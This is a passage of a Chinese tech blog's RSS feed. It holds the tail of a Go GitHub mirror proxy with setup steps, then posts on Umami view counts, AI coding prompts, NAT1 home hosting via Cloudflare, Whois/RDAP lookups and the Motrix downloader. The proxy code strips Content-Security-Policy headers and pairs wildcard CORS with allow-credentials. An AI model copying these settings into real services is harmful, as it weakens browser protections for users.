func getProxyPrefix(host string) string {
|
||
if strings.HasPrefix(host, "gh.") {
|
||
return "gh."
|
||
}
|
||
|
||
for _, prefix := range domainMappings {
|
||
if strings.HasPrefix(host, prefix) {
|
||
return prefix
|
||
}
|
||
}
|
||
|
||
return ""
|
||
}
|
||
|
||
// 根据前缀获取目标域名
|
||
func getTargetHost(prefix string) string {
|
||
for original, p := range domainMappings {
|
||
if p == prefix {
|
||
return original
|
||
}
|
||
}
|
||
return ""
|
||
}
|
||
|
||
// 处理响应内容,替换域名引用
|
||
func modifyResponse(body []byte, contentType, hostPrefix, currentHostname string) []byte {
|
||
// 只处理文本内容
|
||
if !strings.Contains(contentType, "text/") &amp;&amp;
|
||
!strings.Contains(contentType, "application/json") &amp;&amp;
|
||
!strings.Contains(contentType, "application/javascript") &amp;&amp;
|
||
!strings.Contains(contentType, "application/xml") {
|
||
return body
|
||
}
|
||
|
||
text := string(body)
|
||
|
||
// 获取当前域名的后缀部分
|
||
domainSuffix := currentHostname[len(hostPrefix):]
|
||
|
||
// 替换所有域名引用
|
||
for originalDomain, proxyPrefix := range domainMappings {
|
||
fullProxyDomain := proxyPrefix + domainSuffix
|
||
|
||
// 替换完整URLs - 使用简单的字符串替换
|
||
text = strings.ReplaceAll(text, "https://"+originalDomain, "https://"+fullProxyDomain)
|
||
text = strings.ReplaceAll(text, "http://"+originalDomain, "https://"+fullProxyDomain)
|
||
|
||
// 替换协议相对URLs
|
||
text = strings.ReplaceAll(text, "//"+originalDomain, "//"+fullProxyDomain)
|
||
|
||
// 替换带引号的域名引用
|
||
text = strings.ReplaceAll(text, `"`+originalDomain+`"`, `"`+fullProxyDomain+`"`)
|
||
text = strings.ReplaceAll(text, `'`+originalDomain+`'`, `'`+fullProxyDomain+`'`)
|
||
}
|
||
|
||
// 处理相对路径 - 使用简单的字符串替换
|
||
if hostPrefix == "gh." {
|
||
// 替换引号内的相对路径
|
||
text = strings.ReplaceAll(text, `"/`, `"https://`+currentHostname+`/`)
|
||
text = strings.ReplaceAll(text, `'/`, `'https://`+currentHostname+`/`)
|
||
}
|
||
|
||
return []byte(text)
|
||
}
|
||
|
||
// 处理请求
|
||
func handleRequest(w http.ResponseWriter, r *http.Request) {
|
||
currentHost := r.Host
|
||
|
||
// 检查特殊路径重定向
|
||
if shouldRedirect(r.URL.Path) {
|
||
http.Redirect(w, r, "https://www.gov.cn", http.StatusFound)
|
||
return
|
||
}
|
||
|
||
// 从当前主机名中提取前缀
|
||
hostPrefix := getProxyPrefix(currentHost)
|
||
if hostPrefix == "" {
|
||
http.Error(w, "Domain not configured for proxy", http.StatusNotFound)
|
||
return
|
||
}
|
||
|
||
// 根据前缀找到对应的原始域名
|
||
targetHost := getTargetHost(hostPrefix)
|
||
if targetHost == "" {
|
||
http.Error(w, "Domain not configured for proxy", http.StatusNotFound)
|
||
return
|
||
}
|
||
|
||
// 处理路径,修复嵌套URL问题
|
||
pathname := r.URL.Path
|
||
|
||
// 修复特定的嵌套URL模式
|
||
// 处理 URL 编码的嵌套路径
|
||
re1 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https%3A//[^/]+.*`)
|
||
pathname = re1.ReplaceAllString(pathname, "$1")
|
||
|
||
// 处理未编码的嵌套路径
|
||
re2 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https://[^/]+.*`)
|
||
pathname = re2.ReplaceAllString(pathname, "$1")
|
||
|
||
// 处理简化的嵌套路径(如 /main/https:/domain/)
|
||
re3 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https:/[^/]+.*`)
|
||
pathname = re3.ReplaceAllString(pathname, "$1")
|
||
|
||
// 构建目标URL
|
||
targetURL := &amp;url.URL{
|
||
Scheme: "https",
|
||
Host: targetHost,
|
||
Path: pathname,
|
||
RawQuery: r.URL.RawQuery,
|
||
}
|
||
|
||
// 创建新的请求
|
||
req, err := http.NewRequest(r.Method, targetURL.String(), r.Body)
|
||
if err != nil {
|
||
http.Error(w, fmt.Sprintf("Failed to create request: %v", err), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
|
||
// 复制请求头
|
||
for key, values := range r.Header {
|
||
for _, value := range values {
|
||
req.Header.Add(key, value)
|
||
}
|
||
}
|
||
|
||
// 设置必要的请求头
|
||
req.Header.Set("Host", targetHost)
|
||
req.Header.Set("Referer", targetURL.String())
|
||
// 禁用压缩以避免编码问题
|
||
req.Header.Set("Accept-Encoding", "identity")
|
||
|
||
// 创建HTTP客户端
|
||
client := &amp;http.Client{
|
||
Timeout: 30 * time.Second,
|
||
}
|
||
|
||
// 发起请求
|
||
resp, err := client.Do(req)
|
||
if err != nil {
|
||
http.Error(w, fmt.Sprintf("Proxy Error: %v", err), http.StatusBadGateway)
|
||
return
|
||
}
|
||
defer resp.Body.Close()
|
||
|
||
// 读取响应体
|
||
body, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
http.Error(w, fmt.Sprintf("Failed to read response: %v", err), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
|
||
// 处理响应内容
|
||
contentType := resp.Header.Get("Content-Type")
|
||
modifiedBody := modifyResponse(body, contentType, hostPrefix, currentHost)
|
||
|
||
// 设置响应头(排除压缩相关头部)
|
||
for key, values := range resp.Header {
|
||
// 跳过压缩相关的头部,因为Go已经自动解压缩了内容
|
||
if key == "Content-Encoding" || key == "Content-Length" {
|
||
continue
|
||
}
|
||
for _, value := range values {
|
||
w.Header().Add(key, value)
|
||
}
|
||
}
|
||
|
||
// 设置CORS和缓存头
|
||
w.Header().Set("Access-Control-Allow-Origin", "*")
|
||
w.Header().Set("Access-Control-Allow-Credentials", "true")
|
||
w.Header().Set("Cache-Control", "public, max-age=14400")
|
||
w.Header().Del("Content-Security-Policy")
|
||
w.Header().Del("Content-Security-Policy-Report-Only")
|
||
w.Header().Del("Clear-Site-Data")
|
||
|
||
// 设置正确的Content-Length
|
||
w.Header().Set("Content-Length", fmt.Sprintf("%d", len(modifiedBody)))
|
||
|
||
// 设置状态码
|
||
w.WriteHeader(resp.StatusCode)
|
||
|
||
// 写入响应
|
||
w.Write(modifiedBody)
|
||
}
|
||
|
||
func main() {
|
||
// 创建路由处理器
|
||
http.HandleFunc("/", handleRequest)
|
||
|
||
// 启动服务器
|
||
port := ":8080"
|
||
log.Printf("GitHub代理服务器启动在端口 %s", port)
|
||
log.Printf("请确保你的域名已正确配置并指向此服务器")
|
||
|
||
if err := http.ListenAndServe(port, nil); err != nil {
|
||
log.Fatal("服务器启动失败:", err)
|
||
}
|
||
}
|
||
</code></pre>
|
||
<p>继续放置 <code>go.mod</code> 。源码如下</p>
|
||
<pre><code>module github-proxy
|
||
|
||
go 1.19
|
||
</code></pre>
|
||
<p>运行。默认跑在8080端口</p>
|
||
<pre><code>go run .
|
||
</code></pre>
|
||
<p>输出以下日志即成功</p>
|
||
<pre><code>root@localhost:~/go_proxy# go run .
|
||
2025/06/20 23:13:17 GitHub代理服务器启动在端口 :8080
|
||
2025/06/20 23:13:17 请确保你的域名已正确配置并指向此服务器
|
||
</code></pre>
|
||
<p>使用Nginx或者OpenResty反向代理 <code>localhost:8080</code> 。配置域名,格式为 <code>gh.你的域名</code> 。我的配置如下</p>
|
||
<p><img src="https://blog.acofork.com/_astro/123a521d-2340-4433-b9fe-4965d46d4321.CBQyGvRv.webp" alt="" /></p>
|
||
<p>签发泛域名证书并且部署,配置完毕后如下</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b58b55fe-adbd-4d3e-8977-c3f7efaf0185.D9vxYXQ8.webp" alt="" /></p>
|
||
<p>访问,现在你通过自己的域名+VPS代理访问Github。国内直连,无需梯子</p>
|
||
<p><img src="https://blog.acofork.com/_astro/fccbc8af-d2b1-479f-b32d-d0f023fd4c06.DgSgPMC-.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>静态博客也想展示文章浏览量?当然可以!</title><link>https://blog.acofork.com/posts/static-view/</link><guid isPermaLink="true">https://blog.acofork.com/posts/static-view/</guid><description>利用Umami等站点分析软件可以让管理员了解站点活跃度,但是如果我们想向用户展示一些数据呢?</description><pubDate>Wed, 18 Jun 2025 00:00:00 GMT</pubDate><content:encoded><h1>引言</h1>
|
||
<p>如果你用过WordPress,Halo等动态博客框架,你大概会在用户视角访问博文的时候看到浏览量这个信息。</p>
|
||
<p>这个原理很简单,因为动态博客依赖于一个VPS,只需要让用户每次访问的时候给浏览量+1即可。</p>
|
||
<p>那么如果我们是静态博客呢?</p>
|
||
<p>我们可以依赖一些第三方服务,比如<a href="https://umami.is">Umami Cloud</a>。在你的静态博客的head注入一个js,这样你就可以看到你的站点分析了,类似下图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2c1e7d81-6f6d-4323-b0de-013b2d168be1.D401cIMg.webp" alt="" /></p>
|
||
<p>现在我们确实可以看到每个文章(即/posts/xxx)的访问量了,但是我们要如何展示给用户呢?</p>
|
||
<h1>逆向Umami的只读页面!(新版v3)</h1>
|
||
<blockquote>
|
||
<p>感谢nightNya提供的方案,你是天才!</p>
|
||
</blockquote>
|
||
<p>首先我们启用分享URL</p>
|
||
<p><img src="https://blog.acofork.com/_astro/023f687b-6e4a-46d8-b7f2-4778f20ebe99.BNFPkmbp.webp" alt="" /></p>
|
||
<p>注意这里的 <code>7PoDRgCzHFTs2vWB</code> ,每个站点都不一样</p>
|
||
<p>接着我们请求 <code>https://cloud.umami.is/analytics/us/api/share/7PoDRgCzHFTs2vWB</code>,得到
|
||
<em>注意,这里的 <code>us</code> 为你创建的账号区域,美国为us,欧盟为eu</em></p>
|
||
<pre><code>{
|
||
"websiteId": "a66a5fd4-98b0-4108-8606-cb7094f380ac",
|
||
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJhNjZhNWZkNC05OGIwLTQxMDgtODYwNi1jYjcwOTRmMzgwYWMiLCJpYXQiOjE3NTA4MDIwMzB9.X5GQT5kslh6r25sFlap4Asz1NDA7mN3kcZW8wqbrnBc"
|
||
}
|
||
</code></pre>
|
||
<p>再接着我们请求,携带请求头 <code>x-umami-share-token</code> 值为上一步获得的Token</p>
|
||
<p><code>https://cloud.umami.is/analytics/us/api/websites/a66a5fd4-98b0-4108-8606-cb7094f380ac/stats?startAt=0&amp;endAt=1750805999999&amp;unit=hour&amp;timezone=Asia/Hong_Kong&amp;path=eq./posts/cf-fastip/&amp;compare=false</code></p>
|
||
<p>这里解释几个关键Params,其他的照搬</p>
|
||
<ul>
|
||
<li>
|
||
<p>startAt:统计开始时间。Unix时间戳,我们填写为0让Umami从1970年开始统计</p>
|
||
</li>
|
||
<li>
|
||
<p>endAt:统计结束时间。Unix时间戳,我们可以使用 <code>Date.now()</code> ,即当前时间,和startAt参数联动即可实现统计总浏览量</p>
|
||
</li>
|
||
<li>
|
||
<p>path:要查询的路径,填写为你的文章页去除了Host的路径,如 <code>/posts/hello</code> 。注意!Umami会将 <code>/posts/hello</code> 和 <code>/posts/hello/</code> 视为两个不同的路径,请注意你的博客框架是否使用 <code>/</code>。在v3版本中,需要使用 <code>eq.</code> 前缀来进行精确匹配,例如 <code>path=eq./posts/hello/</code></p>
|
||
</li>
|
||
</ul>
|
||
<p>你会得到</p>
|
||
<pre><code>{
|
||
"pageviews": 1655,
|
||
"visitors": 343,
|
||
"visits": 411,
|
||
"bounces": 183,
|
||
"totaltime": 30592,
|
||
"comparison": {
|
||
"pageviews": 0,
|
||
"visitors": 0,
|
||
"visits": 0,
|
||
"bounces": 0,
|
||
"totaltime": 0
|
||
}
|
||
}
|
||
</code></pre>
|
||
<p><code>pageviews</code> 即浏览量。 <code>visitors</code> 即访问人数。</p>
|
||
<blockquote>
|
||
<p>Tips:浏览量记录为任意用户只要访问了则计数一次。而访问数记录不会记录单IP多次重复访问和同一时间段的多次请求不同页面</p>
|
||
</blockquote>
|
||
<p>Enjoy it!</p>
|
||
<p>最终效果:</p>
|
||
<p><img src="https://blog.acofork.com/_astro/ce822960-f7ef-444e-84d1-fa0758e2b5e8.CTBK92Nm.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>AI写不出优质的代码?其实是你引导错了!</title><link>https://blog.acofork.com/posts/aicode-prompt/</link><guid isPermaLink="true">https://blog.acofork.com/posts/aicode-prompt/</guid><description>如今,大语言模型百花齐放,有开山鼻祖OpenAI的ChatGPT系列,也有Anthropic开发的代码神器Claude系列。但是,哪怕模型再先进再聪明,如果用它的人使用的方法不对,那再好的模型用起来也是笨笨的</description><pubDate>Tue, 17 Jun 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>视频链接: https://www.bilibili.com/video/BV1jw38z9EEn/</p>
|
||
</blockquote>
|
||
<h1>正确的引导方法</h1>
|
||
<p>先搞清楚你自己具体的需求。比如代码用什么语言编写?用什么技术栈?要具体实现什么功能?应用的场景是什么?是前端、后端还是全栈等等</p>
|
||
<p>逻辑清晰,简洁干练地表述你的需求。</p>
|
||
<p>比如: <code>编写一个Python脚本,在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url(暂时全部留空)。运行后监听Ctrl+Alt+A,一旦被按下,立即检查剪贴板内是否有图片(支持文件格式和纯图格式),将其转换为Webp格式并上传到S3 API的S3_Url路径下,最后模拟键入</code></p>
|
||
<p>如果不确定AI是否理解了你的需求,可以CallBack一下,避免AI假装理解了你的需求然后一通乱写,比如上面的表述可以改为:</p>
|
||
<p><code>编写一个Python脚本,在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url(暂时全部留空)。运行后监听Ctrl+Alt+A,一旦被按下,立即检查剪贴板内是否有图片(支持文件格式和纯图格式),将其转换为Webp格式并上传到S3 API的S3_Url路径下,最后模拟键入。你明白了吗,请告诉我你将要如何完成这个任务,在我批准前请不要编写代码</code></p>
|
||
<p>有时候表达模糊实际上是好事。</p>
|
||
<p>因为你一旦开始描述创建一个什么什么变量,赋值为多少多少的时候,实际上你不是在用AI写代码,而是让AI将你的自然语言代码转换为编程语言代码,这就不是一个创造式的需求,而是一个翻译类的需求,最终代码生成质量的好坏完全取决于你的技术知识储备和逻辑思维是否强大。</p>
|
||
<p>所以,在面对大部分的需求,我们可以先大致描述一个框架,确认AI的方向正确后慢慢编写项目</p>
|
||
<p>AI也会犯错,并且极其容易瞎猜。不要尽信AI给出的内容,在涉及到你不懂的知识时,我们可以翻阅<a href="https://wikipedia.org">维基百科</a>等权威知识网来验证</p>
|
||
<p>不要让AI一直自我检查。现代的AI IDE中,大部分已经实现了Agent模式,也就是: <code>用户提出需求 -&gt; AI分析并实现需求 -&gt; AI自动Debug -&gt; 最终交付用户项目</code>。</p>
|
||
<p>但是在我半年的AI IDE使用经验中,如果代码出现Bug,请不要说类似: <code>这个代码跑不了,帮我看看</code> 这样的话,我仍然建议你将完整的报错信息复制粘贴给AI并且要求他分析并解决,例如:</p>
|
||
<p><code>[报错信息]它报错了,请根据报错信息深度分析一下问题导致的原因,并给我一个解决方案</code>,而不是让AI自身Debug。</p>
|
||
<p>因为有时候程序的报错可能只是一个简单的环境变量没配置,或者是你没有使用一个主流的方案,单纯让AI自我检讨只会让AI选择它最认为出错的地方。</p>
|
||
<p><em>换位思考一下,你有个甲方一直告诉你这个方案不行但是就不告诉你哪里不行你头不头疼。但是AI毕竟不是人类,它只会在它认为正确的道路上越走越远,运气好迭代几次Bug解决了,运气不好到达了IDE设置的迭代次数限制然后给你又新写了一坨新史山,然后你花钱买的请求数也就这样浪费了</em></p>
|
||
<p>最后,请善用AI,你也可以询问AI: <code>你的最佳调用方式是什么</code>。<s>当然,她也有可能欺骗你</s>。</p>
|
||
<h1>AI推荐</h1>
|
||
<p><a href="https://chatgpt.com">ChatGPT</a>:快速,不限额。适合解决你的疑问
|
||
<img src="https://blog.acofork.com/_astro/c2e37057-78c9-403f-b3af-e84bdad98f1e.CXFN4SmF.webp" alt="" /></p>
|
||
<p><a href="https://claude.ai">Claude</a>:相比于GPT更强大,更擅长编写代码,尤其是前端,目前大部分AI IDE都接入了Claude 3.5 Sonnet及以上的模型,非常适合编写可拆解,易维护的小脚本</p>
|
||
<p><img src="https://blog.acofork.com/_astro/f9adcc5e-64bc-48f0-8845-893242abec33.TPqPbTPQ.webp" alt="" /></p>
|
||
<p><a href="https://code.visualstudio.com/">VS Code(Github Copilot)</a>:AI IDE。由微软开发,免费用户可以使用Claude 3.5 Sonnet模型,但是份额较少。Pro计划10USD/m,仅支持Paypal和海外卡支付</p>
|
||
<p><img src="https://blog.acofork.com/_astro/70b6f916-ba70-45a6-b572-3b32214f0c1f._MksDzQK.webp" alt="" /></p>
|
||
<p><a href="https://www.cursor.com">Cursor</a>:AI IDE。由Anysphere开发,免费用户仅能使用Auto模型(一般不会分配到Claude模型)。Pro计划10USD/m,仅支持Paypal和海外卡支付</p>
|
||
<p><img src="https://blog.acofork.com/_astro/4287002f-eb0e-43b0-87b7-1fa43c37a497.aynFFXXk.webp" alt="" /></p>
|
||
<p><a href="https://www.trae.ai">Trae(国际版)</a>:AI IDE。由字节跳动开发,需要国外IP。新用户Pro计划开通首月仅需3USD/m(之后为10USD/m),支持支付宝和海外卡支付。本人目前在用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/40b76f69-2c50-49d0-b861-05f8879accab.D3TzgNS4.webp" alt="" /></p>
|
||
<blockquote>
|
||
<p>写任何项目都完全不推荐使用网页版的任何大模型编写!请使用AI IDE!</p>
|
||
</blockquote>
|
||
</content:encoded></item><item><title>NAT1开放内网网站</title><link>https://blog.acofork.com/posts/nat1-web/</link><guid isPermaLink="true">https://blog.acofork.com/posts/nat1-web/</guid><description>利用CF动态重定向透过STUN+Lucky WebHook实时更新STUN端口实现NAT1家宽建站</description><pubDate>Sat, 31 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>配套视频</h1>
|
||
<p>&lt;iframe src="//player.bilibili.com/player.html?isOutside=true&amp;aid=114597528936170&amp;bvid=BV1hY7szUEbu&amp;cid=30235755189&amp;p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"&gt;&lt;/iframe&gt;</p>
|
||
<h1>原理</h1>
|
||
<p><img src="https://blog.acofork.com/_astro/7c517b72-8287-4707-8dff-12690a71d592.BoV3_xSN.webp" alt="" /></p>
|
||
<h1>正式开始</h1>
|
||
<h3>创建必要的Cloudflare API令牌</h3>
|
||
<p>创建拥有如下图权限的令牌,使得Lucky可以使用此令牌设置DDNS、签发SSL、更新Cloudflare动态重定向</p>
|
||
<p><img src="https://blog.acofork.com/_astro/890468f0-7e7f-42b9-ba57-f98e3b964626.BOJOfOip.webp" alt="" /></p>
|
||
<h3>创建基底Cloudflare动态重定向规则</h3>
|
||
<p>如图填写,替换为你的域名
|
||
<img src="https://blog.acofork.com/_astro/9c4a1cb0-d1c6-4e9b-b2bb-dfd6b6fe6306.CSbIKO3k.webp" alt="" /></p>
|
||
<p>表达式: <code>wildcard_replace(http.request.full_uri, "*://*.072103.xyz/*", "https://${2}.stun.072103.xyz:6666/${3}")</code></p>
|
||
<p>观察网址,记录下如下图的数据</p>
|
||
<p><img src="https://blog.acofork.com/_astro/bdd05652-4676-418f-b8aa-1dfc5b3dfab1.fGT8jap_.webp" alt="" /></p>
|
||
<p>打开开发者工具后,再保存,确保抓到这样的包,保存备用
|
||
<img src="https://blog.acofork.com/_astro/60e191a3-c4d8-40a2-b9b7-13af0fae38ab.Dw79VmKV.webp" alt="" /></p>
|
||
<p>将 <code>dash.cloudflare.com/api</code> 改为 <code>api.cloudflare.com/client</code> 。将刚才获得的红框内的内容填写到 <code>rules</code> 后面</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b1a7a07c-7b4b-49ff-a152-938e30d93ee6.9bXSmfiz.webp" alt="" /></p>
|
||
<p>如果你不是第一次更新,可能会带有一个 <code>"position":{"index":1},</code> 删除它,否则后面的WebHook将会出错。</p>
|
||
<p>将我们硬编码的 <code>6666</code> 端口改为Lucky STUN的变量 <code>#{port}</code></p>
|
||
<hr />
|
||
<p>最终我们记录了以下信息</p>
|
||
<pre><code>https://api.cloudflare.com/client/v4/zones/f305febd3a25b5bb3a46b802328a75a8/rulesets/35218f125f7f4421b4c76314464689a2/rules/17228a4add70429c9cdd38eb7fec1d02
|
||
|
||
{"description":"stun","expression":"(http.host wildcard \"*.072103.xyz\" and not http.host in {\"pic.072103.xyz\" \"hpic.072103.xyz\"})","action":"redirect","action_parameters":{"from_value":{"status_code":301,"preserve_query_string":true,"target_url":{"expression":"wildcard_replace(http.request.full_uri, \"*://*.072103.xyz/*\", \"https://${2}.stun.072103.xyz:#{port}/${3}\")"}}},"enabled":true}
|
||
</code></pre>
|
||
<h3>让Cloudflare接管 *.072103.xyz 的流量</h3>
|
||
<p><img src="https://blog.acofork.com/_astro/72dd5daa-a10f-4fa1-816f-8be18abc2587.DPlZ8RlX.webp" alt="" /></p>
|
||
<h3>配置Lucky DDNS</h3>
|
||
<p><img src="https://blog.acofork.com/_astro/bf6eafd3-3f7b-4a71-8c4f-c0bd34703eee.BAK-TjIV.webp" alt="" /></p>
|
||
<h3>配置Lucky SSL/TLS证书</h3>
|
||
<p><img src="https://blog.acofork.com/_astro/80fc1bda-334d-4444-b063-2d3202de8296.D6j-JGZY.webp" alt="" /></p>
|
||
<h3>配置Lucky Web服务</h3>
|
||
<p><img src="https://blog.acofork.com/_astro/8f64210e-2bb3-4014-96e7-3af577a722f0.BXKNm83D.webp" alt="" /></p>
|
||
<h3>配置Lucky STUN</h3>
|
||
<p>注:我这里使用了路由器的端口转发,将Lucky的16666(Web服务)端口转发到了路由器的17777端口。如果你不会端口转发,请<strong>不要启用</strong> <code>不使用Lucky内置端口转发</code> 并且<strong>目标端口</strong>填写16666</p>
|
||
<p><img src="https://blog.acofork.com/_astro/88f5e404-271b-4d20-98c7-b7f39a9247b2.B1gPTVXb.webp" alt="" /></p>
|
||
<h3>配置WebHook</h3>
|
||
<p>如图配置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/559bce4c-ed44-4523-a623-7058ef1082dc.51wdP5dR.webp" alt="" /></p>
|
||
<p>接口地址:你之前记录的 <code>https://api.cloudflare.com/...</code></p>
|
||
<p>请求方法: <code>PATCH</code> 或者 <code>POST</code></p>
|
||
<p>请求头:</p>
|
||
<pre><code>Authorization: Bearer 你的API令牌
|
||
Content-Type: application/json
|
||
</code></pre>
|
||
<p>请求体:你之前记录的 <code>{"description":...</code></p>
|
||
<h1>End.</h1>
|
||
</content:encoded></item><item><title>关于Whois查询那点事</title><link>https://blog.acofork.com/posts/whois/</link><guid isPermaLink="true">https://blog.acofork.com/posts/whois/</guid><description>你有没想过自己部署一个第三方的Whois查询服务?我做过,这里面全是坑!</description><pubDate>Wed, 28 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<h3>Whois查询是什么?</h3>
|
||
<p>如果了解域名,就知道域名一旦被注册就会在Whois服务器留下一些相关信息(比如:注册方,注册地,注册时间等等),可以被公开查询。</p>
|
||
<h3>如何快速查询一个域名的Whois?</h3>
|
||
<p>你是否用过某些Whois查询网站?如图为IP.SB的WHOIS查询服务,可以通过 <a href="https://ip.sb/whois">WHOIS - IP.SB</a> 快速查询一个域名的Whois</p>
|
||
<p><img src="https://blog.acofork.com/_astro/578a2c58-5ad4-452a-be8b-a186a64fa058.0rpVQpXT.webp" alt="" /></p>
|
||
<h1>正片</h1>
|
||
<p>那么如果我们想自建一个Whois查询服务放到我们的Bot或者网页上,我们要怎么做呢?</p>
|
||
<p>你也许已经知道在Linux系统上专门有一个包就叫做 <code>whois</code> 我们可以方便用它来查询Whois。我们现在就可以试试</p>
|
||
<p><img src="https://blog.acofork.com/_astro/d198a5cf-37e0-410e-9f9b-df736725eb7b.DwKtV9vJ.webp" alt="" /></p>
|
||
<p>可以看到,成功查询到了 <code>baidu.com</code> 的Whois信息。但是实际上这个命令的输出有这么长</p>
|
||
<p><img src="https://blog.acofork.com/_astro/3efb10bd-042a-4a22-82c9-e947d591e10d.B1uVBAtz.webp" alt="" /></p>
|
||
<p>但是实际上,只有红色框内的信息对我们有效,其他的信息则是一些公告,警示,许可之类的无用信息</p>
|
||
<p>这对于偶尔查询一次然后用人眼筛选有效信息的现代人类不难,但是对现代计算机来说非常难</p>
|
||
<p>因为在<strong>传统的Whois查询</strong>中,Whois服务器返回的信息没有任何规范,它想给你什么就能给你什么,如下图</p>
|
||
<p>这是我的域名的Whois查询结果,可以看到,完全没有规范可言
|
||
<img src="https://blog.acofork.com/_astro/981f3e74-4e18-47e9-8e05-05ffca461e3c.DCsKUH2i.webp" alt="" /></p>
|
||
<p>更有甚者不仅改格式,甚至还改术语,比如Status写一个Connect</p>
|
||
<p><img src="https://blog.acofork.com/_astro/29f6f17b-a885-406d-ad70-45e3aacc95d9.Ch9kJgqr.webp" alt="" /></p>
|
||
<p>这就使得我们做三方API的时候想要针对性的汉化或者过滤就非常困难。如果你想要做到绝对的规范,需要针对每一个顶级域的Whois服务器做调查,然后针对性的配置过滤器,这样才能输出一个完整的,规范的Whois查询结果</p>
|
||
<p>前文我提到了<strong>传统的Whois查询</strong>,那么有没有一个API能直接提供一个规范了格式的查询结果,并且每个域名都遵循这个规范呢?</p>
|
||
<p>有的,兄弟有的,这就是RDAP(Registration Data Access Protocol),注册数据访问协议。使用了RDAP的域名查询Whois将会返回一个标准的JSON格式的输出,并且查询是通过标准的RESTAPI,也就是Web协议,如下图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/7d92115f-f897-427a-b0a6-46d386019443.B1uKiQFu.webp" alt="" /></p>
|
||
<p>乍一看好多无用信息啊,但是你先别急,既然它返回的是JSON,而且所有域名都是一个规范,那么我们完全可以方便快捷的过滤</p>
|
||
<p><img src="https://blog.acofork.com/_astro/96760408-d94e-4ddb-854f-8e817a01fd8d.Cy7buOWc.webp" alt="" /></p>
|
||
<p>就像这样,只需要写一遍过滤规则,以后所有<strong>支持RDAP查询Whois的顶级域</strong>都可以通过这个规则快捷展示信息!</p>
|
||
<p>但是话又说回来,RDAP毕竟是一个新式协议,很多顶级域仍然不支持,比如 <code>.im</code></p>
|
||
<p><a href="https://www.iana.org/domains/root/db/im.html">.im Domain Delegation Data</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/efa46528-43b5-45fb-88e6-5401dfade480.D93H_mVS.webp" alt="" /></p>
|
||
<p>可以看到 <code>.im</code> 仅支持传统Whois查询</p>
|
||
<p>那么我们的三方API就要既支持传统Whois,又支持新式RDAP</p>
|
||
<h1>正式开始构建三方Whois查询API</h1>
|
||
<p>由于传统Whois查询是通过TCP请求43端口获取信息,需要专用客户端来查询,所以针对于<strong>只支持传统Whois查询的顶级域</strong>就需要我们的服务器先查询到信息,再返回用户纯文本。如下图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/16ab7a68-892e-429e-a0bc-02d829eead82.bFq1pSXM.webp" alt="" /></p>
|
||
<p>而对于<strong>已经支持RDAP查询的顶级域</strong>,直接返回Web URL,让用户自行阅览,如下图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/9b4916ef-d096-4954-a87c-abfc88c77d00.DZpUyGol.webp" alt="" /></p>
|
||
<p>另外,针对于<strong>仅支持RDAP查询的顶级域</strong>,我们需要先通过IANA查询该顶级域的RDAP服务器(实际上传统Whois也需要,但是Linux的Whois包硬编码的Whois查询服务器目前够用 :)</p>
|
||
<p>比如我要查询 <code>freebird.day</code> ,就需要先前往<a href="https://www.iana.org/domains/root/db/day.html">.day Domain Delegation Data</a>查找<img src="https://blog.acofork.com/_astro/7c7cb4ed-6b1a-4541-b176-ecc5783a3853.CcLDZY-e.webp" alt="" /></p>
|
||
<p>接下来通过给定的RDAP服务器查询即可<img src="https://blog.acofork.com/_astro/3d8df636-39e5-48f7-a6c7-9490f373497e.DpSxtcWy.webp" alt="" /></p>
|
||
<p>因为RDAP协议较新,且易读,所以针对于<strong>传统Whois和RDAP查询都支持的顶级域</strong>优先RDAP查询</p>
|
||
</content:encoded></item><item><title>浏览器自带下载慢?你需要一个三方下载器Mortix!</title><link>https://blog.acofork.com/posts/motrix/</link><guid isPermaLink="true">https://blog.acofork.com/posts/motrix/</guid><description>经常使用Chromium的同学都知道,使用浏览器自带的下载模块经常没有速度,而这个时候我们便需要使用一些三方下载器,而本期推荐的Motrix是免费的开源的博主本人也在使用的高性能高颜值简约强大的下载器</description><pubDate>Mon, 26 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>原理</h1>
|
||
<p>使用一个浏览器插件拦截下载请求然后将原请求发送给Motrix实现三方下载</p>
|
||
<h1>下载Motrix</h1>
|
||
<p>前往官网: https://motrix.app/ 。下载Motrix</p>
|
||
<p>什么?你说我下载Motrix也奇慢无比?<s>忍一忍就过去了</s></p>
|
||
<p>当你安装完毕后应该长这样</p>
|
||
<p><img src="https://blog.acofork.com/_astro/6a10d31c-0c39-456c-8402-ff3190a80dcc.CfqsbG1z.webp" alt="" /></p>
|
||
<h1>配置Motrix</h1>
|
||
<p>打开Motrix - 进阶设置 - RPC。你可以看到RPC监听端口(默认为16800),和一个RPC授权密钥(随机的)
|
||
<img src="https://blog.acofork.com/_astro/53e255cf-965f-441d-a47a-81e20f272256.Ojzuuek-.webp" alt="" /></p>
|
||
<p>我们需要记住监听端口,复制好授权密钥(点击小眼睛然后复制,旁边的骰子图标是随机一个新的密钥)。然后点击保存并应用</p>
|
||
<h1>配置浏览器</h1>
|
||
<blockquote>
|
||
<p>仅支持Chromium系(如:Chrome和新版Microsoft Edge,FireFox另寻它案</p>
|
||
</blockquote>
|
||
